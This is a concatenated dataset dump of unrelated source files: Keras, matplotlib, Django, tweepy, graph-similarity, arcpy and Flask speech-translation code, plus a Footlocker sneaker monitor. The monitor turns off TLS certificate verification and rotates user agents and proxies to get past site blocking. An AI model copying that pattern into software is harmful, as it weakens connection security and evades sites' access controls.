1))\r\n\r\n\r\n# 라벨 이름들\r\nclass_name = ['T/shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle']\r\n\r\n# 모델 만들기\r\n## Flatten 을 사용하면 (1차원으로 해체) 응용력이 없어짐. ( 조금만 달라도 틀렸다고 나옴)\r\n## 해결책 -> 컨볼루션 레이어\r\n### feature Extraction : 특성 추출 : 이미지 인식에서는 필수.\r\n### 1. 이미지에서 중요한 부분들을 추려서 복사본 20장 만든다\r\n### 2. 거기엔 이미지의 중요한 feature, 특성이 담겨있음\r\n### 3. 이걸로 학습한다.\r\nmodel = tf.keras.Sequential([\r\n # 컨볼루션 레이어 생성\r\n ## 32개 컨볼루션 이미지와 커널사이즈는 3x3, 패딩(가에 공간)은 넣는게 좋음,\r\n ## relu는 음수를 안넣기 위해서,\r\n ## input_shpae() = ndim 에러를 없애기 위해 모양 지정 + 1차원 더 넣어줘야함\r\n ## 컬러데이터면 inputshape( , , 3) 이 되야겠죠 (R,G,B)\r\n tf.keras.layers.Conv2D(32, (3,3), padding=\"same\",activation='relu', input_shape=(28,28,1)),\r\n ### 풀링하기. 맥스로 2x2 사이즈로(중앙으로 압축)\r\n tf.keras.layers.MaxPooling2D( (2,2) ),\r\n # tf.keras.layers.Dense(128, input_shape=(28,28), activation=\"relu\"),\r\n tf.keras.layers.Dense(64, activation=\"relu\"),\r\n tf.keras.layers.Flatten(),\r\n tf.keras.layers.Dense(10, activation=\"softmax\") # sofmax :0~1 로 압축시켜줌_카테고리예측용_총합1 // sigmoid 는 정답,오답 두개분류일때 사용)\r\n])\r\n\r\n# 모델 아웃라인 출력하기\r\nmodel.summary()\r\n\r\nmodel.compile(loss=\"sparse_categorical_crossentropy\", optimizer=\"adam\", metrics=['accuracy'])\r\nmodel.fit(trainX, trainY, validation_data=(testX,testY), epochs=5)\r\n\r\n\r\n# 모델 평가\r\n## 컴퓨터가 처음보는 데이터를 넣어줘야한다.\r\n# score = model.evaluate(testX, testY)\r\n# print(score)","sub_path":"day02/03.py","file_name":"03.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"182358089","text":"#!/usr/bin/env python\n\n\"\"\"\nsupport both abs thresholds and topk pruning\na sentence got pruned when either of the condition meets\n\"\"\"\nimport matplotlib\nmatplotlib.use('Agg')\nmatplotlib.rcParams['text.usetex'] = True\nimport argparse\nimport sys\nimport os\nimport re\nimport numpy as np\nimport matplotlib.mlab as mlab\nimport matplotlib.pylab as pylab\nimport matplotlib.pyplot as plt\nimport random\n\n#import plotly.plotly as py\n\nstart_month=None\n\ndef f1(ref, tp, fp):\n p = 1.0*tp / (tp+fp)\n r = 1.0*tp / ref\n return 2*p*r/(p+r)\n\ndef plot_avg(avg_num, stat, name, line_style):\n global start_month\n sorted_m = sorted(stat)\n size = len(sorted_m) #int(len(sorted_m)/avg_num)\n x = np.zeros(size)\n y = np.zeros(size)\n index = 0\n tp_sum = 0\n fp_sum = 0\n ref_sum = 0\n for (i, month) in enumerate(sorted_m):\n start = i\n tp_sum = 0\n fp_sum = 0\n ref_sum = 0\n if start_month == None:\n start_month = str(month)\n while start < len(sorted_m) and start < i + avg_num:\n tp_sum += stat[sorted_m[start]]['QA_Accuracy:']\n start += 1\n# print(i, start)\n# print(i, tp_sum, fp_sum, ref_sum)\n x[index] = tp_sum\n y[index] = index\n# print(index, x[index], ref_sum, tp_sum, fp_sum)\n index += 1\n print(x)\n print(y)\n plt.plot(y, x, label=name, linestyle=line_style)\n\ndef plot_expr(filename, name, line_style):\n print(\"\\n\"+filename+\"\\n\")\n stat = dict()\n stream = None\n if filename == \"\" or filename == None:\n stream = sys.stdin\n else:\n stream = open(filename, \"r\")\n stat = {}\n for line in stream:\n epoch = None\n a = line.rstrip(\"\\n\").split()\n for (i, item) in enumerate(a):\n if item == \"Epoch\":\n epoch = a[i+1]\n if not epoch in stat:\n stat[epoch] = {}\n if item == \"QA_Accuracy:\":\n print(epoch, item, a[i+1])\n stat[epoch][item] = float(a[i+1])\n plot_avg(1, stat, name, line_style)\n if filename != \"\" and filename != None:\n stream.close()\n\nrandom.seed(128) \nparser = argparse.ArgumentParser(description=__doc__)\nparser.add_argument(\"-names\", \"--names\", type=str,\n help=\"names\")\nparser.add_argument(\"-inputs\", \"--inputs\", type=str,\n help=\"names\")\nparser.add_argument('output',\n help='output dir')\nargs = parser.parse_args()\n\nfig = plt.figure()\n\nline_styles = ['solid', 'dashed', 'dashdot', 'dotted']\n\nif args.names != None and args.inputs != None:\n input_a = args.inputs.split(\",\")\n name_a = args.names.split(\",\")\n index = 0\n for (i, n) in zip(input_a, name_a):\n plot_expr(i, n, line_styles[index % len(line_styles)])\n index += 1\nelse:\n plot_expr(\"\", \"experiment\")\n\nlegend = plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=2, ncol=3, mode=\"expand\", borderaxespad=0.)\n\n#num_bins = 1000\n# the histogram of the data\n#n, bins, patches = plt.hist(stat['None'], num_bins, normed=0, facecolor='green', alpha=0.5)\n# add a 'best fit' line\n#y = mlab.normpdf(bins, mu, sigma)\n#plt.plot(bins, y, 'r--')\n\ncsfont = {'fontname':'Carlito'}\n#hfont = {'fontname':'Helvetica'}\nplt.xlabel(\"epochs\", **csfont)\nplt.ylabel('QA accuracy', **csfont)\n\n# Tweak spacing to prevent clipping of ylabel\n#plt.subplots_adjust(left=0.15)\n\nfig.savefig(args.output)\n#fig.savefig(\"debug.png\")\n\n\n","sub_path":"AutoQA-ding_merged/tools/plot_autoQA.py","file_name":"plot_autoQA.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"433767302","text":"# No restocks, only releases\nfrom random_user_agent.params import SoftwareName, HardwareType\nfrom random_user_agent.user_agent import UserAgent\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport urllib3\n\nfrom datetime import datetime\nimport time\n\nimport json\nimport logging\nimport dotenv\nimport traceback\n\nlogging.basicConfig(filename='Footlockerlog.log', filemode='a', format='%(asctime)s - %(name)s - %(message)s',\n level=logging.DEBUG)\n\nsoftware_names = [SoftwareName.CHROME.value]\nhardware_type = [HardwareType.MOBILE__PHONE]\nuser_agent_rotator = UserAgent(software_names=software_names, hardware_type=hardware_type)\nCONFIG = dotenv.dotenv_values()\n\n\nINSTOCK = []\n\ndef test_webhook():\n \"\"\"\n Sends a test Discord webhook notification\n \"\"\"\n data = {\n \"username\": CONFIG['USERNAME'],\n \"avatar_url\": CONFIG['AVATAR_URL'],\n \"embeds\": [{\n \"title\": \"Testing Webhook\",\n \"description\": \"This is just a quick test to ensure the webhook works. Thanks again for using these montiors!\",\n \"color\": int(CONFIG['COLOUR']),\n \"footer\": {'text': 'Made by Yasser'},\n \"timestamp\": str(datetime.utcnow())\n }]\n }\n\n result = requests.post(CONFIG['WEBHOOK'], data=json.dumps(data), headers={\"Content-Type\": \"application/json\"})\n\n try:\n result.raise_for_status()\n except requests.exceptions.HTTPError as err:\n logging.error(err)\n else:\n print(\"Payload delivered successfully, code {}.\".format(result.status_code))\n logging.info(msg=\"Payload delivered successfully, code {}.\".format(result.status_code))\n\n\ndef discord_webhook(title, url, thumbnail, style, sku, price):\n \"\"\"\n Sends a Discord webhook notification to the specified webhook URL\n \"\"\"\n data = {\n \"username\": CONFIG['USERNAME'],\n \"avatar_url\": CONFIG['AVATAR_URL'],\n \"embeds\": [{\n \"title\": title, \n \"url\": url,\n \"thumbnail\": {\"url\": thumbnail},\n \"color\": int(CONFIG['COLOUR']),\n \"footer\": {\"text\": \"Made by Yasser\"},\n \"timestamp\": str(datetime.utcnow()),\n \"fields\": [\n {\"name\": \"Style\", \"value\": style},\n {\"name\": \"SKU\", \"value\": sku},\n {\"name\": \"Price\", \"value\": price},\n ]\n }]\n }\n\n result = requests.post(CONFIG['WEBHOOK'], data=json.dumps(data), headers={\"Content-Type\": \"application/json\"})\n\n try:\n result.raise_for_status()\n except requests.exceptions.HTTPError as err:\n print(err)\n logging.error(msg=err)\n else:\n print(\"Payload delivered successfully, code {}.\".format(result.status_code))\n logging.info(\"Payload delivered successfully, code {}.\".format(result.status_code))\n\n\ndef checker(item):\n \"\"\"\n Determines whether the product status has changed\n \"\"\"\n return item in INSTOCK\n\n\ndef scrape_main_site(headers, proxy):\n \"\"\"\n Scrape the Footlocker site and adds each item to an array\n \"\"\"\n items = []\n \n # Makes request to site\n s = requests.Session()\n html = s.get('https://www.footlocker.com/category/mens/shoes.html', headers=headers, proxies=proxy, verify=False, timeout=500)\n soup = BeautifulSoup(html.text, 'html.parser')\n selection = soup.select('body > script:nth-child(3)')\n splitter = ''';\n\t\t\t\t\twindow.digitalData = '''\n data = str(selection).split(splitter)[0][81:]\n output = json.loads(data)\n \n logging.info(msg='Successfully scraped site')\n s.close()\n return output['search']['products']\n\n\ndef remove_duplicates(mylist):\n \"\"\"\n Removes duplicate values from a list\n \"\"\"\n return [list(t) for t in set(tuple(element) for element in mylist)]\n\n\ndef comparitor(item, start):\n if not checker(item['sku']):\n # If product is available but not stored - sends notification and stores\n INSTOCK.append(item['sku'])\n if start == 0:\n discord_webhook(\n title=item['name'],\n style=item['baseOptions'][0]['selected']['style'],\n url='https://www.footlocker.co.uk/product/' + item['name'].replace(' ','-') + '/' + item['sku'] + '.html',\n thumbnail=f'https://images.footlocker.com/is/image/FLEU/{item[\"sku\"]}?wid=500&hei=500&fmt=png-alpha',\n price=item['price']['formattedValue'],\n sku=item['sku'],\n )\n\n\ndef monitor():\n \"\"\"\n Initiates monitor\n \"\"\"\n print('STARTING MONITOR')\n logging.info(msg='Successfully started monitor')\n\n # Tests webhook URL\n test_webhook()\n\n # Ensures that first scrape does not notify all products\n start = 1\n\n # Initialising proxy and headers\n proxy_no = 0\n proxy_list = CONFIG['PROXY'].split('%')\n proxy = {} if proxy_list[0] == \"\" else {\"http\": f\"http://{proxy_list[proxy_no]}\"}\n headers = {\n 'user-agent': user_agent_rotator.get_random_user_agent(),\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'}\n\n # Collecting all keywords (if any)\n keywords = CONFIG['KEYWORDS'].split('%')\n while True:\n try:\n # Makes request to site and stores products \n items = remove_duplicates(scrape_main_site(headers, proxy))\n for item in items:\n\n if keywords == \"\" or keywords == ['']:\n # If no keywords set, checks whether item status has changed\n comparitor(item, start)\n\n else:\n # For each keyword, checks whether particular item status has changed\n for key in keywords:\n if key.lower() in item[0].lower():\n comparitor(item, start)\n \n # Allows changes to be notified\n start = 0\n\n # User set delay\n time.sleep(float(CONFIG['DELAY']))\n\n except Exception as e:\n print(f\"Exception found '{e}' - Rotating proxy and user-agent\")\n print(traceback.format_exc())\n logging.error(e)\n\n # Rotates headers\n headers = {\n 'user-agent': user_agent_rotator.get_random_user_agent(),\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'}\n\n if CONFIG['PROXY'] == \"\":\n # If no optional proxy set, rotates free proxy\n proxy = {}\n \n else:\n # If optional proxy set, rotates if there are multiple proxies\n proxy_no = 0 if proxy_no == (len(proxy_list) - 1) else proxy_no + 1\n proxy = {\"http\": f\"https://{proxy_list[proxy_no]}\"}\n\n\nif __name__ == '__main__':\n urllib3.disable_warnings()\n monitor()\n","sub_path":"Footsites/Footlocker/FootlockerUSMonitor.py","file_name":"FootlockerUSMonitor.py","file_ext":"py","file_size_in_byte":7158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"622884062","text":"# encoding: UTF-8\n\n# Origin:\n# http://djangosnippets.org/snippets/161/\n\nimport logging\nlogger = logging.getLogger(\"SQLLogMiddleware\")\n\nfrom django.db import connection\nfrom django.template import Template, Context\n\nclass SQLLogMiddleware:\n def process_response ( self, request, response ):\n time = 0.0\n for q in connection.queries:\n if 'FROM \"django_session\"' in q['sql'] or 'FROM \"auth_user\"' in q['sql'] :\n continue\n time += float(q['time'])\n logger.debug(\"SQL query (%s). Finished in %f seconds.\" % (q['sql'], time))\n return response\n","sub_path":"sikteeri/SQLLogMiddleware.py","file_name":"SQLLogMiddleware.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"377503871","text":"import tweepy\n\narr = []\n\n#Variables that contains the user credentials to access Twitter API \naccess_token = \"Your-Access-Token\"\naccess_token_secret = \"Your-Access-Token-Secret\"\nconsumer_key = \"Your-Consumer-Key\"\nconsumer_secret = \"Your-Consumer-Secret\"\n\nlogin = tweepy.OAuthHandler(consumer_key, consumer_secret)\nlogin.set_access_token(access_token, access_token_secret)\napi = tweepy.API(login)\n\nfor tweet in tweepy.Cursor(api.search,\n q=\"secim AND hile\",\n # Since=\"2016-08-09\",\n # until=\"2014-02-15\",\n lang=\"tr\",\n tweet_mode=\"extended\").items(5000000):\n\n if 'RT @' not in tweet.full_text:\n with open(\"data.txt\", \"a\", encoding=\"UTF-8\") as f:\n print(tweet.full_text)\n f.writelines((\" \".join(str(x) for x in tweet.full_text.replace('\\n', '.').replace('.', ' ').split(\" \")[:-1]))+\"\\n\")\n","sub_path":"Twee.py","file_name":"Twee.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"216203797","text":"# Mathieu VANDECASTEELE 2018\n# v 1.0\n# Do not take in consideration code duplication. I'll clean this later.\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport warnings\nimport itertools as it\nimport matplotlib.cbook\nfrom utils import *\nfrom graph import *\nimport time\nwarnings.filterwarnings(\"ignore\",category=matplotlib.cbook.mplDeprecation)\n\n \ndef combinations(liste,k):\n \"\"\"\n retourne toutes les combinaisons de k éléments dans une liste.\n \"\"\"\n return list(it.combinations(liste, k))\n\n\ndef combinations_recursive(graph,min_nombre_vertex=3):\n \"\"\"\n retourne toutes les combinaisons de induced subgraphs de k vertices croissants dans un graph.\n min_nombre_vertex est un paramètre manuel/seuil pour exclure des combinaisons de trop petites tailles.\n \"\"\"\n nodes = graph.nodes\n length = len(nodes)\n combinaisons = []\n for i in range(min_nombre_vertex,length+1):\n combinaisons.extend(combinations(nodes,i))\n return combinaisons\n \n\ndef find_K(laplacian, min_energy = 0.9):\n \"\"\"\n impliquée dans le calcul de similarités. Permet de trouver le K idéal, nombre de valeurs propres contenant\n à minima un seuil d'informations min_energy.\n \"\"\" \n parcours_total = 0.0\n total = sum(laplacian)\n \n if (total == 0.0):\n \n return len(laplacian)\n \n for i in range(len(laplacian)):\n parcours_total += laplacian[i]\n if (parcours_total/total >= min_energy):\n return i+1\n \n return len(laplacian)\n\n\ndef eigenvector_similarity(graph1, graph2):\n \"\"\"\n implémente la mesure de similarités de deux graphs suivant la méthode avec Laplaciennes+valeurs propres.\n \"\"\" \n # Calcul des valeurs propres des laplaciens des graphs : \n laplacien_1 = nx.spectrum.laplacian_spectrum(graph1)\n laplacien_2 = nx.spectrum.laplacian_spectrum(graph2)\n \n # On trouve le meilleur K pour les deux graphs\n K_1 = find_K(laplacien_1)\n K_2 = find_K(laplacien_2)\n \n K = min(K_1, K_2)\n\n distance = sum((laplacien_1[:K]-laplacien_2[:K])**2)\n return distance\n\n\ndef extract_induced_subgraph(graph, list_nodes_tokeep):\n \"\"\"\n retourne le induced subgraph d'un graph suivant une liste de vertices à garder list_nodes_tokeep\n \"\"\" \n subgraph = graph.copy()\n listnodes = [x for x in subgraph.nodes if x not in list_nodes_tokeep]\n subgraph.remove_nodes_from(listnodes)\n return subgraph\n\n\ndef extract_all_induced_subgraphs(graph,combinaisons):\n \"\"\"\n retourne tous les induced subgraphs d'un graph suivant la liste de combinaisons en entrée.\n \"\"\" \n subgraphs = []\n for combinaison in combinaisons:\n subgraphs.append(extract_induced_subgraph(graph,combinaison))\n return subgraphs\n\n\ndef filter_list_of_lists(liste, size):\n \"\"\"\n filtre une liste en ne conservant que les listes contenus d'une taille donnée en entrée.\n \"\"\" \n newliste = []\n for ls in liste:\n if (len(ls) == size):\n newliste.append(ls)\n return newliste\n\n\ndef filter_a_list_with_a_list(liste,filtre):\n \"\"\"\n filtre une liste avec une autre\n \"\"\" \n return [r for r in liste if all(z in r for z in filtre)]\n\n\n\ndef max_clique_filter(graph, graph2, combinaisons1, combinaisons2):\n \"\"\"\n filtre les listes de combinaisons avec la max_clique des graphs.\n \"\"\" \n Clique = list(nx.find_cliques(graph))\n Clique2 = list(nx.find_cliques(graph2))\n # On prend la max clique de taille commune la plus grande :\n size = min(len(longest_list_in_a_list(Clique)),len(longest_list_in_a_list(Clique2)))\n \n filters1 = filter_list_of_lists(Clique,size)\n filters2 = filter_list_of_lists(Clique2,size)\n newcombinaisons1 = []\n newcombinaisons2 = []\n\n for filtre in filters1: \n newcombinaisons1.append(filter_a_list_with_a_list(combinaisons1,filtre))\n for filtre in filters2: \n newcombinaisons2.append(filter_a_list_with_a_list(combinaisons2,filtre)) \n \n return [newcombinaisons1 , newcombinaisons2]\n \n\n \ndef maximum_common_induced_subgraph(G1,G2, min_number_vertex = 3, use_max_clique = False, remove_disconnected = True):\n \"\"\"\n implémente Maximum Common Induced Subgraph\n param min_nombre_vertex : correspond au paramètre de combinations_recursive.\n param use_max_clique : mettre à True pour se baser sur la max_clique.\n \"\"\"\n\n start = time.time()\n \n # Combinations\n print(\"Combinations in construction...\")\n nodesG1 = len(G1.nodes)\n nodesG2 = len(G2.nodes)\n combinaisons1 = combinations_recursive(G1,min_number_vertex)\n print(\"Combinations number Graph 1 :\") \n print(len(combinaisons1))\n combinaisons2 = combinations_recursive(G2,min_number_vertex)\n print(\"Combinations number Graph 2 :\") \n print(len(combinaisons2))\n print(\"Done!\")\n\n if (use_max_clique == True):\n print(\"Max Clique Filter Enabled...\")\n combinaisons = max_clique_filter(G1, G2, combinaisons1, combinaisons2)\n \n # Construction and Storage of Induced Subgraphs.\n print(\"Extracting All Induced Subgraphs for each max_clique...\")\n \n if (remove_disconnected == True):\n \n subgraphs_sets_1 = []\n for combi in combinaisons[0]:\n subgraphs1 = []\n for comb in combi : \n graph_extracted = extract_induced_subgraph(G1,comb) \n if nx.is_connected(graph_extracted): \n subgraphs1.append(graph_extracted)\n subgraphs_sets_1.append(subgraphs1)\n \n \n subgraphs_sets_2 = []\n for combi in combinaisons[1]:\n subgraphs2 = []\n for comb in combi : \n graph_extracted = extract_induced_subgraph(G2,comb) \n if nx.is_connected(graph_extracted): \n subgraphs2.append(graph_extracted)\n subgraphs_sets_2.append(subgraphs2) \n \n else :\n \n subgraphs_sets_1 = []\n for combi in combinaisons[0]:\n subgraphs1 = []\n for comb in combi : \n graph_extracted = extract_induced_subgraph(G1,comb) \n subgraphs1.append(graph_extracted)\n subgraphs_sets_1.append(subgraphs1)\n \n subgraphs_sets_2 = []\n for combi in combinaisons[1]:\n subgraphs2 = []\n for comb in combi : \n graph_extracted = extract_induced_subgraph(G2,comb) \n subgraphs2.append(graph_extracted)\n subgraphs_sets_2.append(subgraphs2) \n \n print(\"Done!\") \n \n # Flat the subgraph sets :\n subgraphs_1 = [item for sublist in subgraphs_sets_1 for item in sublist]\n subgraphs_2 = [item for sublist in subgraphs_sets_2 for item in sublist]\n print(\"Final Subgraphs Number after filtering with Max Cliques :\")\n print(\"for graph 1 :\"+str(len(subgraphs_1)))\n print(\"for graph 2 :\"+str(len(subgraphs_2)))\n \n # Distances and storage of common subgraphs with the highest number of nodes.\n commons = [] \n print(\"Distances...\") \n for sub1 in subgraphs_1:\n for sub2 in subgraphs_2:\n if (len(sub1.nodes) == len(sub2.nodes)):\n distance = eigenvector_similarity(sub1,sub2)\n if (distance == 0.0):\n commons.append((sub1,sub2,len(sub1.nodes))) \n highest = 0\n for tup in commons :\n if (tup[2] > highest):\n highest = tup[2] \n newcommons = []\n for tup in commons :\n if (tup[2] == highest):\n newcommons.append(tup) \n print(\"Done!\")\n print(\"Found \"+str(len(newcommons))+\" maximum common induced subgraphs.\")\n print(\"Maximum Number of nodes : \"+str(highest))\n end = time.time()\n print(\"Time elapsed :\"+str(end - start)) \n return newcommons \n \n else :\n # Construction and Storage of Induced Subgraphs.\n print(\"Extracting All Induced Subgraphs...\") \n if (remove_disconnected == True): \n subgraphs1 = []\n for combinaison in combinaisons1:\n graph_extracted = extract_induced_subgraph(G1,combinaison) \n if nx.is_connected(graph_extracted):\n subgraphs1.append(graph_extracted) \n subgraphs2 = []\n for combinaison in combinaisons2:\n graph_extracted = extract_induced_subgraph(G2,combinaison) \n if nx.is_connected(graph_extracted):\n subgraphs2.append(graph_extracted) \n else :\n subgraphs1 = []\n for combinaison in combinaisons1:\n graph_extracted = extract_induced_subgraph(G1,combinaison) \n subgraphs1.append(graph_extracted) \n subgraphs2 = []\n for combinaison in combinaisons2:\n graph_extracted = extract_induced_subgraph(G2,combinaison) \n subgraphs2.append(graph_extracted) \n print(\"Done!\") \n print(\"Final Subgraphs Number after filtering :\")\n print(\"for graph 1 :\"+str(len(subgraphs1)))\n print(\"for graph 2 :\"+str(len(subgraphs2))) \n \n # Distances and storage of common subgraphs with the highest number of nodes.\n commons = []\n print(\"Distances...\")\n for sub1 in subgraphs1:\n for sub2 in subgraphs2:\n if (len(sub1.nodes) == len(sub2.nodes)):\n distance = eigenvector_similarity(sub1,sub2)\n if (distance == 0.0):\n commons.append((sub1,sub2,len(sub1.nodes)))\n \n highest = 0\n for tup in commons :\n if (tup[2] > highest):\n highest = tup[2]\n \n newcommons = []\n for tup in commons :\n if (tup[2] == highest):\n newcommons.append(tup)\n \n print(\"Done!\")\n print(\"Found \"+str(len(newcommons))+\" maximum common induced subgraphs.\")\n print(\"Maximum Number of nodes : \"+str(highest))\n end = time.time()\n print(\"Time elapsed :\"+str(end - start)) \n return newcommons","sub_path":"mcs.py","file_name":"mcs.py","file_ext":"py","file_size_in_byte":10757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"426645264","text":"from app import app\n\nimport arcpy\nimport os\nimport logging\n\ndef consolidate_elevation(folder_path, mosaic):\n workspace = folder_path\n out_directory = r'C:\\data\\elevation'\n mosaic_dataset = mosaic\n\n walk = arcpy.da.Walk(workspace, topdown=True, datatype=\"RasterDataset\")\n\n app.logger.info(\"Discovering Items...\")\n\n copied_files = []\n error_files = []\n\n for dirpath, dirnames, filenames in walk:\n # Disregard any folder named 'back_up' in creating list of rasters\n for filename in filenames:\n if \"thumb\" not in filename:\n try:\n in_file = os.path.join(dirpath, filename)\n out_file = os.path.join(out_directory, filename + \".tif\")\n if arcpy.Exists(out_file) == False:\n app.logger.info(\"Moving {}\".format(filename))\n arcpy.CopyRaster_management(in_file, out_file)\n copied_files.append(filename)\n app.logger.info(\"Successfully moved {}\".format(filename))\n else: \n arcpy.AddMessage(\" {0} already exists in {1}, passing\".format(filename, out_directory))\n except Exception as e:\n app.logger.error(str(e))\n error_files.append(filename)\n\n app.logger.info('Completed copy of data, beginning update of Mosaic Dataset.')\n\n try:\n arcpy.AddRastersToMosaicDataset_management(\n mosaic_dataset, \"Raster Dataset\", \n out_directory, \"UPDATE_CELL_SIZES\", \"UPDATE_BOUNDARY\",\n \"UPDATE_OVERVIEWS\", \"2\", \"#\", \"#\", \"#\",\n \"*.tif\", \"SUBFOLDERS\", \"EXCLUDE_DUPLICATES\",\n \"NO_PYRAMIDS\", \"NO_STATISTICS\", \"BUILD_THUMBNAILS\", \n \"\", \"\",\"NO_STATISTICS\", \"\", \"USE_PIXEL_CACHE\")\n mosaic_updated = True\n except Exception as e:\n app.logger.error(str(e))\n mosaic_updated = False \n\n app.logger.info(\"Completed update of Mosaic Dataset\")\n return {\"job-type\":\"upload elevation data\", \"copied-files\":copied_files, \"error-files\":error_files, \"mosaic-path\":mosaic, \"mosaic-updated\":mosaic_updated}","sub_path":"app/scripts/consolidate_elevation.py","file_name":"consolidate_elevation.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"50509837","text":"import io\nimport os\nimport base64\nfrom flask import Flask, render_template, request, redirect, jsonify, url_for\n\nfrom google.cloud.speech import enums\nfrom google.cloud.speech import types\nfrom google.cloud import speech\nfrom google.cloud import translate\n\napp = Flask(__name__)\n\n\n# class VoiceHelper:\n#\n# def __init__(self):\n# self.client = speech.SpeechClient()\n\nclient = speech.SpeechClient()\n\ntranslate_client = translate.Client()\n\n\n@app.route('/recognize', methods=['GET', 'POST'])\ndef recognize():\n req = request.get_json()\n operation = client.long_running_recognize(\n audio=speech.types.RecognitionAudio(\n uri=req['uri'],\n ),\n config=speech.types.RecognitionConfig(\n encoding='FLAC',\n language_code='en-US',\n sample_rate_hertz=44100,\n\t\t\t#alternative_language_codes=['hi']\n ),\n )\n\t\n op_result = operation.result()\n transcripts = []\n for result in op_result.results:\n for alternative in result.alternatives:\n print('=' * 20)\n #print(alternative.transcript)\n transcripts.append(alternative.transcript)\n #print(alternative.confidence)\n return str(transcripts)\n\n\n@app.route('/translate', methods=['GET', 'POST'])\ndef translate():\n req = request.get_json()\n text = req['text']\n # The target language\n target = req['target_lang']\n translation = translate_client.translate(\n text,\n target_language=target)\n return str(translation['translatedText'])\n\n@app.route('/recognize/system/file')\ndef recognize_system_file():\n req = request.get_json()\n\n # The name of the audio file to transcribe\n file_name = os.path.join(\n os.path.dirname(__file__), req['file_name'])\n # 'resources',\n # 'audio.raw')\n\n\n # Loads the audio into memory\n with io.open(file_name, 'rb') as audio_file:\n content = audio_file.read()\n audio = types.RecognitionAudio(content=content)\n\n # with io.open(file_name, 'rb') as audio_file:\n # content = audio_file.read()\n\n # audio = types.RecognitionAudio(content=content)\n\n # audio = types.RecognitionAudio(\n # content=base64.b64encode(content)\n # )\n\n config = types.RecognitionConfig(\n encoding='FLAC',\n sample_rate_hertz=44100,\n language_code='en-US'\n )\n\n # Detects speech in the audio file\n response = client.recognize(config, audio)\n\n\n transcripts = []\n for result in response.results:\n for alternative in result.alternatives:\n # print('=' * 20)\n transcripts.append(alternative.transcript)\n # print(alternative.confidence)\n return str(transcripts)\n\n # for result in response.results:\n # print('Transcript: {}'.format(result.alternatives[0].transcript))\n # res.append(result.alternatives[0].transcript)\n #\n # return str(response.results)\n\t\n\t\n@app.route('/recognize/stream', methods=['GET', 'POST'])\ndef stream_recognize():\n config = speech.types.RecognitionConfig(\n encoding='LINEAR16',\n language_code='en-US',\n sample_rate_hertz=44100,\n )\n with io.open('ENHI005-trimmed.flac', 'rb') as stream:\n requests = [speech.types.StreamingRecognizeRequest(\n audio_content=stream.read(),\n )]\n results = client.streaming_recognize(\n\t\tconfig=speech.types.StreamingRecognitionConfig(config=config),\n\t\trequests=requests,\n )\n transcripts = []\n for result in results:\n #for alternative in result.alternatives:\n # print('=' * 20)\n # print('transcript: ' + alternative.transcript)\n # print('confidence: ' + str(alternative.confidence))\n #transcripts.append(alternative.transcript)\n transcripts.append(result)\n\t\t\t\n return str(transcripts)\n\t\n\n@app.route('/transcribe/stream')\ndef transcribe_streaming():\n with io.open('ENHI005-trimmed.flac', 'rb') as audio_file:\n content = audio_file.read()\n\n # In practice, stream should be a generator yielding chunks of audio data.\n stream = [content]\n requests = (types.StreamingRecognizeRequest(audio_content=chunk)\n for chunk in stream)\n\n config = types.RecognitionConfig(\n encoding='FLAC',\n sample_rate_hertz=44100,\n language_code='en-US')\n streaming_config = types.StreamingRecognitionConfig(config=config)\n\n # streaming_recognize returns a generator.\n responses = client.streaming_recognize(streaming_config, requests)\n\t\n final_results = []\n\n for response in responses:\n # Once the transcription has settled, the first result will contain the\n # is_final result. The other results will be for subsequent portions of\n # the audio.\n for result in response.results:\n print('Finished: {}'.format(result.is_final))\n final_results.append(result.is_final)\n print('Stability: {}'.format(result.stability))\n #alternatives = result.alternatives\n # The alternatives are ordered from most likely to least.\n #for alternative in alternatives:\n # print('Confidence: {}'.format(alternative.confidence))\n # print(u'Transcript: {}'.format(alternative.transcript))\n\n return str(final_results)\t\t\t\t\n\nif __name__ == '__main__':\n app.debug = True\n app.run()\n\n\n","sub_path":"voice_helper.py","file_name":"voice_helper.py","file_ext":"py","file_size_in_byte":5369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"123063269","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nAuthor: Bryan .\n@Bryan .\n\nMade with love by Bryan .\n\n==================================\nDESC:\n Will return the parsed CSV file given as\na python dict or JSON. This is meant to be\nread and has functions that you may use in\nother projects.\n==================================\n\nVERSION: 1.0.0.1\n\n\"\"\"\n\n\ndef parseCSV(csvDoc,\n output_type=\"dict\",\n start_parse=0,\n row_parse_offset=1):\n from re import compile as c\n from numpy import array\n from json import dumps\n \"\"\"\n A Simple function to parse csv files.\n\n Just chuck in the raw text of the csv (clean or dirty) and this parser\n will throw an output (Specified or unspecified. default:JSON).\n\n Args:\n csvDoc (any): The document to parse\n output_type (str): The output type\n start_parse (int): The starting row when parsing\n row_parse_offset (int): The offset of the row when parsing\n Returns:\n dict: A dictionary\n\n 